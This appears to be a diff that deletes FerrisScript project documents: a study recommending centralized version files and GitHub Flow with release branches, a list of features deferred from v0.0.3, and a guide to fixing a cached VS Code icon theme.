-- Features branch directly from `main`
-- Features merge directly to `main` (after review + CI)
-- Deployments triggered by merges to `main`
-- Tags used for releases
-
-**Pros**:
-
-- ✅ Simplest workflow (1 long-lived branch)
-- ✅ No branch synchronization issues
-- ✅ Clear contributor workflow (always target `main`)
-- ✅ Fast feedback loop (no integration branch delay)
-- ✅ Industry standard for open-source projects
-
-**Cons**:
-
-- ⚠️ `main` contains unreleased features (not production-only)
-- ⚠️ Requires strong CI/CD to ensure `main` is always releasable
-- ⚠️ No "staging" branch for multi-feature integration testing
-- ⚠️ Rollbacks more complex (revert commits vs. branch switch)
-
-**Best For**: Projects with strong CI, frequent releases, trunk-based development
-
----
-
-#### Alternative B: GitHub Flow + Release Branches
-
-**Structure**:
-
-```
-main        ──●──●──●────●──●──────●──> (development)
-               ↑  ↑  ↑    ↑  ↑      ↑
-features       └──└──└──● └──└────● └──●
-                         ↓         ↓
-release/v0.0.3           ●──●──────● (hotfixes only)
-                                   ↓
-                                  tag v0.0.3
-```
-
-**Characteristics**:
-
-- `main` is active development branch
-- Release branches (`release/vX.Y.Z`) created from `main` when ready
-- Release branches only receive hotfixes (no new features)
-- Tags created from release branches
-- Release branches can be long-lived or deleted after release
-
-**Pros**:
-
-- ✅ Clear separation between development and release stabilization
-- ✅ Hotfixes can be applied without blocking new development
-- ✅ Multiple releases can be maintained simultaneously (v0.0.3, v0.0.4)
-- ✅ `main` always moving forward (no resets needed)
-
-**Cons**:
-
-- ⚠️ Requires discipline to only backport hotfixes (not features)
-- ⚠️ Slightly more complex than pure GitHub Flow
-- ⚠️ Release branches must be merged back to `main` (hotfix propagation)
-
-**Best For**: Projects with version support requirements, alpha/beta releases
-
----
-
-#### Alternative C: Trunk-Based Development
-
-**Structure**:
-
-```
-main (trunk)  ──●─●─●─●─●─●─●─●─●─●─●─●─●─●─●─●──> (always releasable)
-                 ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑
-short-lived      └─└─└─└─└─└─└─└─└─└─└─└─└─└─└─┘
-branches         (< 1 day, small PRs)
-```
-
-**Characteristics**:
-
-- Single `main` branch (trunk)
-- Short-lived feature branches (1-2 days max)
-- Very small PRs (< 400 lines)
-- Feature flags for incomplete features
-- Continuous deployment
-
-**Pros**:
-
-- ✅ Maximum velocity (no integration delays)
-- ✅ Minimal merge conflicts (small, frequent merges)
-- ✅ Forces small, incremental changes
-- ✅ Industry best practice for high-velocity teams
-
-**Cons**:
-
-- ❌ Requires feature flags for incomplete work
-- ❌ Demands strong testing infrastructure (unit + integration + e2e)
-- ❌ Not suitable for alpha releases (always shipping to production)
-- ❌ Difficult for solo/small teams
-
-**Best For**: Large teams, SaaS products, mature CI/CD infrastructure
-
----
-
-### 3.2 Recommended Branching Strategy
-
-**Recommendation: GitHub Flow + Release Branches** (Hybrid Approach)
-
-**Rationale**:
-
-1. **Simplicity**: Eliminates long-lived `develop` branch complexity
-2. **Flexibility**: Release branches allow stabilization without blocking development
-3. **Version Support**: Can maintain multiple releases (v0.0.3, v0.0.4) simultaneously
-4. **Clear History**: `main` shows linear development progress
-5. **Contributor-Friendly**: Simple rule: "Always branch from and target `main`"
-
-**Proposed Workflow**:
-
-```
-Step 1: Feature Development
-  main ──●──────> (latest development)
-          ↓
-  feature/X ──●──●──● (PR back to main)
-
-Step 2: Release Preparation
-  main ──●──●──●──────> (continue development)
-          ↑        ↓
-          PR    release/v0.0.3 ──●──● (bugfixes only)
-                                    ↓
-                                  tag v0.0.3
-
-Step 3: Hotfix (if needed)
-  release/v0.0.3 ──●──● (hotfix)
-                    ↓   ↓
-                    ↓  tag v0.0.3.1
-                    ↓
-  main ──●──●──●──●─┘ (cherry-pick hotfix)
-```
-
-**Key Rules**:
-
-1. **All features target `main`** (no develop branch)
-2. **Release branches created from `main`** when version is feature-complete
-3. **Release branches only accept bugfixes** (no new features)
-4. **Tags created from release branches** (e.g., `v0.0.3` on `release/v0.0.3`)
-5. **Hotfixes merged back to `main`** (cherry-pick or merge)
-6. **Release branches can be deleted** after next version released (optional)
-
-**CI Strategy**:
-
-- **PRs to `main`**: Run quick-check (lint + unit tests)
-- **Merges to `main`**: Run full suite (cross-platform, coverage, integration tests)
-- **Release branches**: Run full suite on every push
-- **Tags**: Trigger release workflows (GitHub Releases, cargo publish, VS Code marketplace)
-
----
-
-### 3.3 Handling v0.0.3 History (Transition Plan)
-
-**Problem**: `develop` is 24 commits ahead of `main`, contains all v0.0.3 work.
-
-**Option A: Squash Merge develop → main (Recommended)**
-
-```bash
-# 1. Create release PR from develop to main
-git checkout main
-git pull origin main
-git merge --squash develop
-git commit -m "Release v0.0.3: Editor Experience Alpha
-
-- Enhanced error diagnostics with error codes
-- VS Code IntelliSense features
-- Development scripts and CI improvements
-
-See CHANGELOG.md for full details."
-
-# 2. Push to main
-git push origin main
-
-# 3. Tag the release
-git tag v0.0.3
-git push origin v0.0.3
-
-# 4. Delete develop branch (START FRESH)
-git branch -d develop
-git push origin --delete develop
-```
-
-**Pros**:
-
-- ✅ Clean release commit on `main` (single commit for v0.0.3)
-- ✅ No complex rebase or history rewriting
-- ✅ Clear changelog entry
-- ✅ Eliminates develop branch permanently
-
-**Cons**:
-
-- ⚠️ Loses granular commit history on `main` (stored on feature branches)
-
-**Option B: Rebase develop onto main**
-
-```bash
-# Preserve individual commit history (not recommended)
-git checkout develop
-git rebase main
-git checkout main
-git merge --ff-only develop
-```
-
-**Pros**:
-
-- ✅ Preserves all 24 commits on `main`
-
-**Cons**:
-
-- ❌ Messy history (24 commits for single release)
-- ❌ Hard to identify "what's in v0.0.3" (no single release commit)
-
-**Recommendation**: **Option A (Squash Merge)**. Clean history, clear releases, industry standard.

-
-**Location**: `/.version` (root directory)
-
-**Format** (TOML for flexibility):
-
-```toml

-          
-          echo "✅ All versions synchronized"
-```
-
----
-
-### 5.4 Pre-Commit Hook (Optional)
-
-**`.git/hooks/pre-commit`** (installed via `scripts/install-git-hooks.ps1`):
-
-```bash
-#!/bin/bash
-# Pre-commit hook: Auto-sync versions if .version changed
-
-if git diff --cached --name-only | grep -q "^\.version$"; then
-    echo "📦 Detected .version change, syncing to target files..."
-    ./scripts/sync-versions.sh || exit 1
-    git add Cargo.toml package.json extensions/vscode/package.json package-lock.json
-    echo "✅ Version sync complete, files staged"
-fi
-```
-
-**Benefits**:
-
-- ✅ Automatic synchronization (no manual step)
-- ✅ Prevents committing desynchronized versions
-- ✅ Transparent to developer (happens on commit)
-
-**Cons**:
-
-- ⚠️ Requires `scripts/install-git-hooks.ps1` to be run during setup
-- ⚠️ May surprise developers (silent file modification)
-
-**Recommendation**: Make pre-commit hook **optional** (not enforced), document in `CONTRIBUTING.md`.
-
----
-
-### 5.5 Tag Strategy
-
-**Current**: Tags created manually on `main` after release (`v0.0.1`, `v0.0.2`).
-
-**Proposed**: Tags created on release branches (or `main` after release branch merge).
-
-**Semantic Versioning Tags**:
-
-- **Release**: `v0.0.3` (production-ready)
-- **Pre-release**: `v0.0.3-alpha.1`, `v0.0.3-beta.2`, `v0.0.3-rc.1`
-- **Component-specific** (future): `vscode-v0.0.3`, `cargo-v0.0.3`
-
-**Tag Creation Workflow**:
-
-```bash
-# After release branch stabilization
-git checkout release/v0.0.3
-git tag v0.0.3
-git push origin v0.0.3
-
-# Trigger GitHub Release creation (automated via CI)
-```
-
-**GitHub Releases**:
-
-- Automatically created from tags (CI workflow)
-- Include CHANGELOG.md excerpt for version
-- Attach build artifacts (VS Code .vsix, cargo binaries)
-
----
-
-## 6. Migration Strategy
-
-### 6.1 Phase 1: Version Management (No Branching Changes)
-
-**Goal**: Implement centralized version file without changing branching strategy.
-
-**Steps**:
-
-1. ✅ **Create `.version` file**: Add `0.0.3` as content
-2. ✅ **Create sync scripts**: `scripts/sync-versions.{ps1,sh}` (with validation mode)
-3. ✅ **Update documentation**: Add section to `RELEASING.md` explaining new process
-4. ✅ **Add CI validation**: `.github/workflows/version-check.yml`
-5. ✅ **Test on feature branch**: Create `feature/centralized-version-management`, test workflow
-6. ✅ **Update `.gitignore`**: Ensure `.version` is tracked (not ignored)
-7. ✅ **PR to develop**: Merge feature branch, validate CI passes
-8. ✅ **Document in CHANGELOG**: Note process improvement in v0.0.4 release notes
-
-**Estimated Effort**: 2-3 hours
-
-**Validation**:
-
-- ✅ Run `./scripts/sync-versions.ps1 -Validate` (should pass)
-- ✅ Edit `.version` → run sync script → verify all files updated
-- ✅ Create PR with version change → CI should validate consistency
-
-**Rollback Plan**: Revert `.version` file + scripts, continue manual version bumps.
-
----
-
-### 6.2 Phase 2: Branching Strategy Migration
-
-**Goal**: Transition from Git Flow (develop + main) to GitHub Flow + Release Branches.
-
-**Prerequisites**:
-
-- ✅ Phase 1 complete (centralized version management working)
-- ✅ v0.0.3 released to `main` (develop branch ready to delete)
-
-**Steps**:
-
-1. ✅ **Squash merge develop → main**:
-
-   ```bash
-   git checkout main
-   git merge --squash develop
-   git commit -m "Release v0.0.3: Editor Experience Alpha"
-   git push origin main
-   ```
-
-2. ✅ **Tag v0.0.3**:
-
-   ```bash
-   git tag v0.0.3
-   git push origin v0.0.3
-   ```
-
-3. ✅ **Update all workflows**: Remove `develop` from branch triggers
-
-   Files to update:
-   - `.github/workflows/ci.yml`
-   - `.github/workflows/code-scanning.yml`
-   - `.github/workflows/benchmarks.yml`
-   - `.github/workflows/docs-lint.yml`
-
-   Change:
-
-   ```yaml
-   # Before
-   on:
-     push:
-       branches: [main, develop]
-   
-   # After
-   on:
-     push:
-       branches: [main]
-       tags: ['v*']  # Also trigger on version tags
-   ```
-
-4. ✅ **Update documentation**:
-
-   Files to update:
-   - `CONTRIBUTING.md` (branching strategy section)
-   - `RELEASING.md` (release process)
-   - `.github/prompts/workstream-execution.prompt.md`
-   - `docs/planning/v0.0.3/v0.0.3-roadmap.md` (archive section)
-   - `docs/LEARNINGS.md` (add migration notes)
-
-5. ✅ **Create migration guide**: `docs/MIGRATION_GUIDE.md` for contributors
-
-6. ✅ **Announce change**: GitHub Discussion, README notice
-
-7. ✅ **Delete develop branch**:
-
-   ```bash
-   git push origin --delete develop
-   git branch -d develop
-   ```
-
-8. ✅ **Update GitHub settings**: Remove branch protection rules for `develop`
-
-9. ✅ **Test new workflow**: Create test feature branch, PR to `main`, verify CI
-
-**Estimated Effort**: 3-4 hours
-
-**Validation**:
-
-- ✅ All CI workflows run on `main` (not `develop`)
-- ✅ Feature branches can PR directly to `main`
-- ✅ No broken links in documentation
-- ✅ Contributors can follow new workflow from `CONTRIBUTING.md`
-
-**Rollback Plan**: Recreate `develop` from `main`, revert workflow changes.
-
----
-
-### 6.3 Phase 3: Release Branch Workflow (First Use)
-
-**Goal**: Practice new release branch workflow for v0.0.4.
-
-**Steps** (for v0.0.4 release):
-
-1. ✅ **Feature development**: All features merge to `main` as usual
-2. ✅ **Create release branch**: When v0.0.4 feature-complete
-
-   ```bash
-   git checkout main
-   git pull origin main
-   git checkout -b release/v0.0.4
-   git push origin release/v0.0.4
-   ```
-
-3. ✅ **Stabilization**: Only bugfixes merge to `release/v0.0.4`
-4. ✅ **Version bump**: Update `.version` to `0.0.4`, run sync script
-5. ✅ **Update CHANGELOG**: Finalize v0.0.4 changelog entry
-6. ✅ **Tag release**:
-
-   ```bash
-   git checkout release/v0.0.4
-   git tag v0.0.4
-   git push origin v0.0.4
-   ```
-
-7. ✅ **GitHub Release**: CI creates GitHub Release from tag
-8. ✅ **Merge hotfixes back to main** (if any):
-
-   ```bash
-   git checkout main
-   git cherry-pick <hotfix-commit>
-   ```
-
-9. ✅ **Delete release branch** (optional, after v0.0.5 released):
-
-   ```bash
-   git push origin --delete release/v0.0.4
-   ```
-
-**Estimated Effort**: Ongoing (part of normal release process)
-
-**Validation**:
-
-- ✅ Release branch only contains bugfixes (no new features)
-- ✅ Tag created from release branch (not `main`)
-- ✅ Hotfixes propagated to `main`
-

-
-**Estimated Time**: 1-2 days (research + implementation)
-
----
-
-## 8. Recommendations
-
-### 8.1 Immediate Actions (v0.0.4 Cycle)
-
-**Priority 1: Centralized Version Management**
-
-- ✅ **Implement `.version` + sync scripts** (Milestone 1)
-- ✅ **Add CI validation** (prevent future desync)
-- ✅ **Update release process docs**
-
-**Rationale**: Low risk, high value, solves immediate pain point (version desync).
-
----
-
-**Priority 2: Branching Strategy Migration**
-
-- ✅ **Finalize v0.0.3 release to main** (squash merge from develop)
-- ✅ **Delete develop branch** (clean break)
-- ✅ **Update all documentation** (contributor guides, workflows)
-
-**Rationale**: Eliminate long-term maintenance burden, simplify contributor workflow.
-
----
-
-### 8.2 Medium-Term Enhancements (v0.0.5-0.1.0)
-
-**Priority 3: Release Branch Workflow**
-
-- ✅ **Practice release branch creation for v0.0.4**
-- ✅ **Document lessons learned** (update RELEASING.md)
-- ✅ **Evaluate if release branches add value** (may not need them for v0.0.X)
-
-**Rationale**: Optional enhancement, test before committing long-term.
-
----
-
-**Priority 4: Automation Tools**
-
-- ⏸️ **Defer to v0.1.0**: `cargo-release`, `semantic-release`
-- ⏸️ **Focus on features first**: v0.0.X is alpha, prioritize language features over tooling
-- ✅ **Revisit after v1.0**: Automated versioning makes sense for stable releases
-
-**Rationale**: Avoid over-engineering during alpha phase.
-
----
-
-### 8.3 Decision Matrix
-
-| Approach | Complexity | Value | Risk | Recommendation |
-|----------|------------|-------|------|----------------|
-| **Centralized .version file** | Low | High | Low | ✅ **Implement Now** (v0.0.4) |
-| **Sync scripts** | Low | High | Low | ✅ **Implement Now** (v0.0.4) |
-| **CI version validation** | Low | High | Low | ✅ **Implement Now** (v0.0.4) |
-| **GitHub Flow (no develop)** | Low | High | Medium | ✅ **Implement Post-v0.0.3** |
-| **Release branches** | Medium | Medium | Low | ⚙️ **Test in v0.0.4**, evaluate |
-| **cargo-release automation** | High | Medium | Medium | ⏸️ **Defer to v0.1.0+** |
-| **semantic-release** | High | Medium | High | ⏸️ **Defer to v1.0+** |
-
----
-
-### 8.4 Final Recommendations
-
-**Recommended Approach** (Balanced):
-
-1. ✅ **Implement centralized version management** (`.version` + scripts) in v0.0.4 cycle
-2. ✅ **Migrate to GitHub Flow** (delete `develop` branch) after v0.0.3 release
-3. ⚙️ **Experiment with release branches** in v0.0.4 (evaluate if needed)
-4. ⏸️ **Defer automation tools** to post-v1.0 (focus on language features first)
-
-**Key Principles**:
-
-- 🎯 **Simplicity First**: Solve version desync with minimal tooling
-- 📏 **Incremental Migration**: Phase 1 (versioning) → Phase 2 (branching) → Phase 3 (automation)
-- 🛡️ **Risk Mitigation**: Test new workflows on feature branches before full rollout
-- 📚 **Documentation**: Update contributor guides before deleting `develop`

-
-### Appendix B: Version Sync Script Usage
-
-**Basic Usage**:
-
-```bash
-# Update .version file
-echo "0.0.4" > .version
-
-# Sync to all files (PowerShell)
-./scripts/sync-versions.ps1
-
-# Sync to all files (Bash)
-./scripts/sync-versions.sh
-
-# Validate consistency (CI mode)
-./scripts/sync-versions.ps1 -Validate
-
-# Dry run (preview changes)
-./scripts/sync-versions.ps1 -DryRun
-```
-
-**Integration with Release Process**:
-
-```bash
-# Step 1: Bump version
-echo "0.0.4" > .version
-
-# Step 2: Sync files
-./scripts/sync-versions.sh
-
-# Step 3: Update CHANGELOG
-vim CHANGELOG.md
-
-# Step 4: Commit
-git add .version Cargo.toml package.json extensions/vscode/package.json CHANGELOG.md
-git commit -m "chore: Bump version to 0.0.4"
-
-# Step 5: Create release branch
-git checkout -b release/v0.0.4
-git push origin release/v0.0.4
-
-# Step 6: Tag release
-git tag v0.0.4
-git push origin v0.0.4
-```
-
----
-
-### Appendix C: Alternative Workflows Considered
-
-**Not Recommended**:
-
-1. ❌ **Keep develop + add release branches**: Too many long-lived branches
-2. ❌ **Trunk-based development**: Requires feature flags, too complex for alpha
-3. ❌ **Monorepo with separate versioning**: Cargo/npm/docs at different versions (confusing)
-4. ❌ **Automated commit-based versioning**: Requires strict conventional commits (too rigid for alpha)

-
-**Questions for Decision**:
-
-1. ✅ **Version Management**: Approve `.version` + sync scripts approach?
-2. ✅ **Branching Strategy**: Approve GitHub Flow (delete `develop` after v0.0.3)?
-3. ⚙️ **Release Branches**: Test in v0.0.4 or skip for now?
-4. ⏸️ **Automation Tools**: Defer to v0.1.0+ or investigate now?
-
-**Approval Needed**:
-
-- [ ] Conceptual approval of centralized version management
-- [ ] Approval to delete `develop` branch after v0.0.3 release
-- [ ] Approval to update contributor documentation
-
----
-
-### Implementation Timeline
-
-**If Approved**:
-
-- **Week 1** (v0.0.4 Cycle): Implement centralized version management
-- **Week 2** (Post-v0.0.3 Release): Migrate to GitHub Flow, delete `develop`
-- **Week 3+** (Ongoing): Practice new workflow, iterate based on feedback
-
-**Estimated Total Effort**: 1-2 days (spread across 2-3 weeks)
-
----
-
-## 11. Conclusion
-
-This research demonstrates that **centralized version management + GitHub Flow** provides the optimal balance of simplicity, flexibility, and automation for FerrisScript's current stage (v0.0.X alpha releases).
-
-**Key Takeaways**:
-
-1. ✅ **Version desync is solvable** with simple `.version` file + sync scripts
-2. ✅ **Branching strategy can be simplified** by eliminating long-lived `develop` branch
-3. ✅ **No need for complex automation** at alpha stage (defer to v1.0+)
-4. ✅ **Low-risk migration** with phased rollout and rollback plans
-
-**Recommended Action**: **Proceed with Phase 1 (Version Management)** immediately, evaluate branching migration after v0.0.3 release.

-# v0.0.3 Deferred Items Tracking
-
-**Version**: 0.0.3 → Future Versions  
-**Date**: October 8, 2025  
-**Status**: Complete Inventory
-
----
-
-## 📋 Purpose
-
-This document tracks all items deferred from v0.0.3 to future versions, ensuring nothing is lost and proper roadmap integration.
-
----
-
-## 🔄 Deferred to v0.0.4 (Godot API Expansion)
-
-### Phase 2B: Keyword Suggestions
-
-**Original Plan**: Suggest keywords when users mistype (`fnn` → `fn`)  
-**Why Deferred**: Requires lexer changes for context-aware keyword detection  
-**Complexity**: Medium (3-4 days)  
-**Tracking**: Added to v0.0.4-roadmap.md under "Developer Experience Improvements"
-
-**Rationale**: Phase 2 (variable/function/type suggestions) provides 90% of value. Keyword typos are less common and require cross-component changes (lexer + type checker coordination).
-
-**Implementation Notes**:
-
-- Lexer needs to track "almost keywords" (tokens that are close to keywords)
-- Context-aware: `fnn` at statement start → suggest `fn`, but `fnn` in expression → variable typo
-- Low priority: Most keyword typos caught by parser (unexpected token errors)
-
----
-
-### Phase 3D: Multi-Error Reporting (Batch/Stream Modes)
-
-**Original Plan**: Report all errors in one pass, not just first error  
-**Why Deferred**: Phase 3C (parser recovery) provides foundation, 3D is enhancement  
-**Complexity**: Medium (4-5 days)  
-**Tracking**: Added to v0.0.4-roadmap.md under "Error Diagnostics Enhancements"
-
-**Current State**: Parser collects multiple errors internally, but `compile()` API returns only first error
-
-**What's Needed**:
-
-- [ ] **Batch Mode**: Return all errors at once (`Result<Program, Vec<CompilerError>>`)
-- [ ] **Stream Mode**: Callback-based error reporting (for IDEs)
-- [ ] **CLI Flag**: `--all-errors` to enable batch mode
-- [ ] **API Changes**: New `compile_all_errors()` function
-- [ ] **Error Ordering**: Sort by line/column for user-friendly presentation
-
-**Benefits**:
-
-- Fix multiple issues per compile cycle (faster iteration)
-- Better IDE integration (show all diagnostics)
-- Matches behavior of Rust/TypeScript compilers
-
-**Dependencies**: Phase 3C complete ✅ (error recovery foundation exists)
-
----
-
-### Phase 3E: Diagnostic Collection Infrastructure
-
-**Original Plan**: Standardized diagnostic system for all compiler stages  
-**Why Deferred**: Phase 3D prerequisite, architectural refactoring  
-**Complexity**: High (5-7 days)  
-**Tracking**: Added to v0.0.4-roadmap.md under "Error Diagnostics Enhancements"
-
-**Vision**: Unified `Diagnostic` struct used by lexer, parser, type checker, runtime
-
-```rust
-struct Diagnostic {
-    severity: Severity,     // Error, Warning, Info, Hint
-    code: ErrorCode,        // E001-E499
-    message: String,
-    span: Span,             // Source location
-    suggestions: Vec<String>,
-    related: Vec<Diagnostic>, // Related diagnostics
-}
-
-struct DiagnosticCollector {
-    diagnostics: Vec<Diagnostic>,
-    max_errors: usize,      // Stop after N errors
-}
-```
-
-**Benefits**:
-
-- Warnings support (unused variables, etc.)
-- Multi-level diagnostics (errors + warnings + hints)
-- Better LSP integration (diagnostic protocol mapping)
-- Consistent error format across all stages
-
-**Dependencies**: Phase 3D (multi-error API design)
-
----
-
-### Phase 8: Integration Tests & Cross-Platform Verification
-
-**Original Plan**: Full compiler → runtime → Godot pipeline tests  
-**Why Deferred**: More valuable with expanded Godot API surface (v0.0.4)  
-**Complexity**: Medium (5-7 days)  
-**Tracking**: Added to v0.0.4-roadmap.md under "Testing Infrastructure"
-
-**Scope**:
-
-- [ ] Compiler → Runtime integration tests (full pipeline)
-- [ ] Godot integration tests (script loading, execution in Godot)
-- [ ] Cross-platform CI (Linux, Windows, macOS)
-- [ ] Platform-specific badges
-- [ ] Performance regression tests (benchmark tracking)
-
-**Rationale**: Integration tests are most valuable when testing against comprehensive Godot API. Current v0.0.3 focus is editor experience, not API expansion. v0.0.4 will add signals, callbacks, node queries - better testing targets.
-
-**Current Coverage**:
-
-- ✅ Unit tests (270+ across lexer, parser, type checker, runtime)
-- ✅ Integration tests (error messages, suggestions, recovery)
-- ❌ Godot integration tests (manual only)
-- ❌ Cross-platform automation
-
-**Implementation Priority**: After v0.0.4 Godot API expansion (signals, callbacks)
-

-
-## 🔮 Deferred to v0.1.0 (Release Preparation)
-
-### Phase 9: Test Coverage Badge
-
-**Original Plan**: Codecov/Coveralls badge showing test coverage %  
-**Why Deferred**: Requires coverage service setup, not critical for alpha  
-**Complexity**: Low (1-2 days)  
-**Tracking**: Added to v0.1.0-ROADMAP.md under "Release Preparation"
-
-**What's Needed**:
-
-- Choose coverage service (Codecov vs Coveralls vs Codacy)
-- Add coverage generation to CI (`cargo tarpaulin` or `cargo llvm-cov`)
-- Upload coverage reports to service
-- Add badge to README.md
-
-**Current State**: Coverage script exists (`scripts/coverage.ps1/.sh`), but not automated in CI
-
----
-
-### Phase 9: Rustdoc Hosting
-
-**Original Plan**: Host API documentation on docs.rs or GitHub Pages  
-**Why Deferred**: Release-level documentation, not needed for v0.0.3 alpha  
-**Complexity**: Low (2-3 days)  
-**Tracking**: Added to v0.1.0-ROADMAP.md under "Documentation"
-
-**Options**:
-
-1. **docs.rs** (automatic for published crates on crates.io)
-2. **GitHub Pages** (custom deployment)
-3. **Netlify/Vercel** (custom domain support)
-
-**What's Needed**:
-
-- Comprehensive rustdoc comments (crate, module, public API)
-- Doc examples with tests (`/// # Examples`)
-- CI job to build and deploy docs
-- Link from README.md and documentation site
-
-**Current State**: Moderate rustdoc coverage, but not comprehensive or published
-
----
-
-### Phase 9: VS Code Marketplace Submission
-
-**Original Plan**: Publish extension to VS Code Marketplace  
-**Why Deferred**: Final polish and release task, not needed for development  
-**Complexity**: Medium (3-4 days for polish + submission)  
-**Tracking**: Added to v0.1.0-ROADMAP.md under "Release Preparation"
-
-**What's Needed**:
-
-- [ ] Publisher account setup (Microsoft Azure DevOps)
-- [ ] Extension polish (icon, README, screenshots, video)
-- [ ] Marketplace metadata (categories, keywords, pricing)
-- [ ] Legal review (license, privacy policy if needed)
-- [ ] `vsce publish` workflow
-- [ ] Marketplace listing URL
-
-**Current State**: Extension works locally, full features in v0.0.3 (completion, hover, diagnostics)
-
-**Blockers**: Wait for v0.1.0 stability, gather user feedback from local installation first
-
----
-
-### Phase 9: Edge Case Tests
-
-**Original Plan**: Comprehensive edge case coverage (large numbers, long lines, pathological inputs)  
-**Why Deferred**: Ongoing quality work, not release blocker  
-**Complexity**: Medium (ongoing effort)  
-**Tracking**: Added to v0.1.0-ROADMAP.md under "Quality Improvements"
-
-**Scope**:
-
-- [ ] Large number literals (i32::MAX, overflow detection)
-- [ ] Very long identifiers (1000+ chars)
-- [ ] Deep nesting (100+ levels of if/while)
-- [ ] Very long lines (10,000+ chars)
-- [ ] Unicode edge cases (emoji, RTL text, zero-width chars)
-- [ ] Pathological comment patterns
-- [ ] Huge files (100,000+ lines)
-
-**Current State**: Basic edge cases covered, but not exhaustive
-
-**Implementation Strategy**: Add edge case tests incrementally as issues are discovered
-
----
-
-### Phase 9: Code Organization Improvements
-
-**Original Plan**: Refactor for maintainability and extensibility  
-**Why Deferred**: Ongoing refactoring, not release blocker  
-**Complexity**: High (ongoing effort)  
-**Tracking**: Added to v0.1.0-ROADMAP.md under "Technical Debt"
-
-**Improvements Identified**:
-
-- [ ] Extract error formatting into separate module
-- [ ] Unify diagnostic infrastructure (Phase 3E dependency)
-- [ ] Improve parser modularity (split into submodules)
-- [ ] Type checker state management (reduce mutable state)
-- [ ] Runtime error handling (structured error types)
-
-**Approach**: Refactor incrementally during feature development, not as separate phase
-
----
-
-## 🔭 Deferred to v0.0.5+ (LSP & Advanced Features)
-
-### LSP Implementation
-
-**Deferred From**: Phase 4 & 5 (simple completion/hover implemented, full LSP postponed)  
-**Target**: v0.0.5  
-**Complexity**: Very High (10-15 days)  
-**Tracking**: Added to v0.0.5-roadmap.md
-
-**Features Requiring LSP**:
-
-- Scope-aware completion (local variables, parameters)
-- Type inference for hover tooltips
-- Go-to-definition
-- Find references
-- Rename symbol
-- Code actions (quick fixes)
-- Workspace symbols
-
-**Current Workaround**: Static completion lists and simple hover (sufficient for v0.0.3)
-
----
-
-### VS Code Extension Automated Testing
-
-**Deferred From**: Phase 4 (manual testing used instead)  
-**Target**: v0.0.5 (with LSP implementation)  
-**Complexity**: High (5-7 days)  
-**Tracking**: Added to v0.0.5-roadmap.md
-
-**What's Needed**:
-
-- `@vscode/test-electron` setup
-- Mock VS Code API
-- Integration tests for completion/hover/diagnostics
-- CI integration (headless VS Code testing)
-
-**Rationale**: Manual testing sufficient for simple providers. Automated testing valuable when LSP adds complexity.
-
----
-
-### Custom Domain Setup (ferrisscript.dev)
-
-**Deferred From**: Phase 3B (Jekyll site)  
-**Target**: Post-v0.1.0 (optional polish)  
-**Complexity**: Low (1 day)  
-**Status**: Domain acquired, GitHub Pages sufficient for now
-
-**What's Needed**:
-
-- DNS configuration (A records to GitHub Pages IPs)
-- GitHub Pages custom domain setup
-- SSL/TLS certificate (automatic via GitHub)
-- Update all documentation links
-
-**Current State**: https://dev-parkins.github.io/FerrisScript works perfectly

-# Icon Theme Fix Verification Guide
-
-**Issue**: Icon theme still showing all files without icons after fix applied
-**Root Cause**: VS Code caches icon themes and requires manual reset
-
----
-
-## 🔍 Current State
-
-The icon theme JSON is correctly configured:
-
-- ✅ No `"file"` property (was causing all files to use FerrisScript icon)
-- ✅ Only maps `"ferris"` extension to custom icon
-- ❌ VS Code may be using cached version
-
----
-
-## 🛠️ Fix Steps
-
-### Option 1: Clear Icon Theme Cache (Recommended)
-
-1. **Disable Icon Theme**:
-   - Press `Ctrl+Shift+P`
-   - Type: "Preferences: File Icon Theme"
-   - Select: "None (Disable File Icons)"
-   - Wait 2 seconds
-
-2. **Re-enable Icon Theme**:
-   - Press `Ctrl+Shift+P`
-   - Type: "Preferences: File Icon Theme"
-   - Select: "FerrisScript"
-   - Check file explorer
-
-3. **Verify**:
-   - `.ferris` files → Should have crab icon
-   - `.md` files → Should have Markdown icon
-   - `.ts` files → Should have TypeScript icon
-   - All other files → Should have default icons
-
----
-
-### Option 2: Reinstall Extension
-
-If Option 1 doesn't work:
-
-1. **Uninstall Extension**:
-   - Use the Extensions panel in VS Code to uninstall "FerrisScript".
-   - **Important:** After uninstalling, manually check for and delete any remaining extension folders:
-
-     ```bash
-     cd %USERPROFILE%\.vscode\extensions
-     dir ferrisscript*
-     rmdir /s ferrisscript-0.0.3
-     ```
-
-   - This ensures no cached files remain.
-
-2. **Rebuild and Reinstall**:
-
-   ```bash
-   cd Y:\cpark\Projects\FerrisScript\extensions\vscode
-   npm run compile
-
-   # Copy to extensions folder
-   xcopy /E /I . %USERPROFILE%\.vscode\extensions\ferrisscript-0.0.3
-   ```
-
-3. **Restart VS Code**:
-   - Close all VS Code windows
-   - Reopen workspace
-   - Set icon theme: "FerrisScript"
-
-#### ⚠️ Troubleshooting: Extension Not Showing as "Installing"
-
-- If the extension does not appear as "installing" or does not show up in the Extensions panel:
-  - Double-check the folder name in `%USERPROFILE%\.vscode\extensions` matches the expected format (`ferrisscript-0.0.3`).
-  - Ensure `package.json` in the extension folder is valid and includes the correct `publisher`, `name`, and `version`.
-  - Try running `Developer: Reload Window` from the Command Palette.
-  - If still not detected, try packaging the extension (`vsce package`) and installing via VSIX.
-
----
-
-### Option 3: Extension Development Host (Clean State)
-
-If testing in development mode:
-
-1. **Close Extension Development Host**
-
-2. **Clear Extension Cache**:
-
-   ```bash
-   # Clear VS Code extension host cache
-   rmdir /s %APPDATA%\Code\User\workspaceStorage
-   ```
-
-3. **Relaunch Development Host**:
-   - Press `F5` in main VS Code window
-   - Extension Development Host opens with clean state
-   - Set icon theme: "FerrisScript"
-
----
-
-## ✅ Expected Results After Fix
-
-### File Explorer Icons
-
-| File Type | Expected Icon | Notes |
-|-----------|---------------|-------|
-| `test.ferris` | 🦀 Crab icon | Custom FerrisScript icon |
-| `README.md` | 📝 Markdown icon | VS Code default |
-| `script.ts` | 📘 TypeScript icon | VS Code default |
-| `data.json` | 📋 JSON icon | VS Code default |
-| `config.toml` | ⚙️ TOML icon | VS Code default |
-| Generic file | 📄 File icon | VS Code default |
-
-### What Should NOT Happen
-
-- ❌ All files showing crab icon (old bug)
-- ❌ All files showing no icon (cache issue)
-- ❌ Non-.ferris files showing crab icon
-
----
-
-## 🐛 Troubleshooting
-
-### Problem: All Files Show No Icons
-
-**Cause**: Icon theme disabled or cache corrupted
-
-**Fix**:
-
-1. Check icon theme is enabled: `Ctrl+Shift+P` → "Preferences: File Icon Theme"
